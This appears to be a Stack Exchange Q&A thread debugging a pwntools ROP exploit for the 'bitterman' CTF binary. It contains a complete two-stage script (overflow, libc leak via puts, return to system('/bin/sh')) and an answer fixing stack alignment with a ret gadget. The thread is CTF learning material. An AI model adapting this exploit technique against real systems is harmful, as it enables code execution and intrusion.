3

I've followed some tutorials on writing a pwntools-based exploit for the bitterman ELF binary, used in a CTF competition. However, all my attempts fail with the message below, i.e. Got EOF while reading in interactive after having executed system("/bin/sh") using a simple ROP chain:

nlykkei@ubuntu-dev:~$ python bitterman.py                                                │ 27 p.recvuntil('Thanks!\n')
[+] Starting local process './bitterman': pid 6244                                       │ 28 
[+] puts@glibc: 0x7fcbdc453010                                                           │ 29 #puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
[+] offset: 0x7fcbdc3d2000                                                               │ 30 puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
[*] Switching to interactive mode                                                        │ 31 log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
[*] Got EOF while reading in interactive                                                 │ 32 
$                                                                                        │ 33 #Stage 2
[*] Process './bitterman' stopped with exit code -11 (SIGSEGV) (pid 6244)                │ 34 libc_puts = 0x81010
[*] Got EOF while sending in interactive 

Having traced the exploit using GDB, I can verify that system("/bin/sh") gets executed with the clone syscall returning a valid child PID. However, after the clone syscall nothing really happens, and the parent process continue and crashes (bad return address).

What could be the problem? I'd be grateful if any experienced exploit developer or CTF entusiast could spot the error.

Update: I just rewrote the exploit to use execv front-end for execve syscall, and then everything works as expected! (a shell is spawned)

system(..) works by forking a child using clone syscall, whereas execve replaces the entire process. Any idea why system(..) approach doesn't work?

https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman

https://www.youtube.com/watch?v=6S4A2nhHdWg

from pwn import *

#context(terminal=['tmux', 'new-window'])

p = process('./bitterman')
#p = gdb.debug('./bitterman', 'b main')

#context(os='linux', arch='amd64')
#context.log_level = 'DEBUG'

# Stage 1
main = p64(0x4006ec) #0x400550
plt_puts = p64(0x400520)
got_puts = p64(0x600c50)
pop_rdi = p64(0x400853)

junk = 152*"A"

payload = junk + pop_rdi + got_puts + plt_puts + main

p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!\n')

#puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))

#Stage 2
libc_puts = 0x81010
libc_system = 0x50300
libc_sh = 0x1aae80

offset = u64(puts_addr) - libc_puts
log.success('offset: {}'.format(hex(offset)))

system_addr = p64(libc_system + offset)
sh_addr = p64(libc_sh + offset)

payload = junk + pop_rdi + sh_addr + system_addr

p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!')

p.clean()
p.interactive() 
2
  • 2
    Did you find some solution of your problem? I asking because I have the same issue. Mar 28, 2020 at 12:22
  • 2
    Yes, I used exec instead of system.
    – Shuzheng
    Mar 28, 2020 at 13:38

1 Answer 1

3

I think you might have an alignment problem. Find the address of a ret-only gadget and try putting it in your second payload as follows:

ret = p64(0x?????)
payload = junk + ret + pop_rdi + sh_addr + system_addr

References:

  1. https://research.csiro.au/tsblog/debugging-stories-stack-alignment-matters/
  2. https://stackoverflow.com/questions/54393105/libcs-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul
  3. https://stackoverflow.com/questions/49391001/why-does-the-x86-64-amd64-system-v-abi-mandate-a-16-byte-stack-alignment
3
  • Do you have any idea why it works with exec and not system?
    – Shuzheng
    Mar 13, 2021 at 10:04
  • Check this out: ropemporium.com/guide.html#Common%20pitfalls It seems that system uses movaps instruction that is picky about alignment. Exec might not have this issue.
    – 1chk0v
    Mar 14, 2021 at 13:05
  • Thanks. Just off-topic: Is ROP still viable given code is compiled with CFI? Or is it like studying stack execution (no DEP)?
    – Shuzheng
    Mar 15, 2021 at 5:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.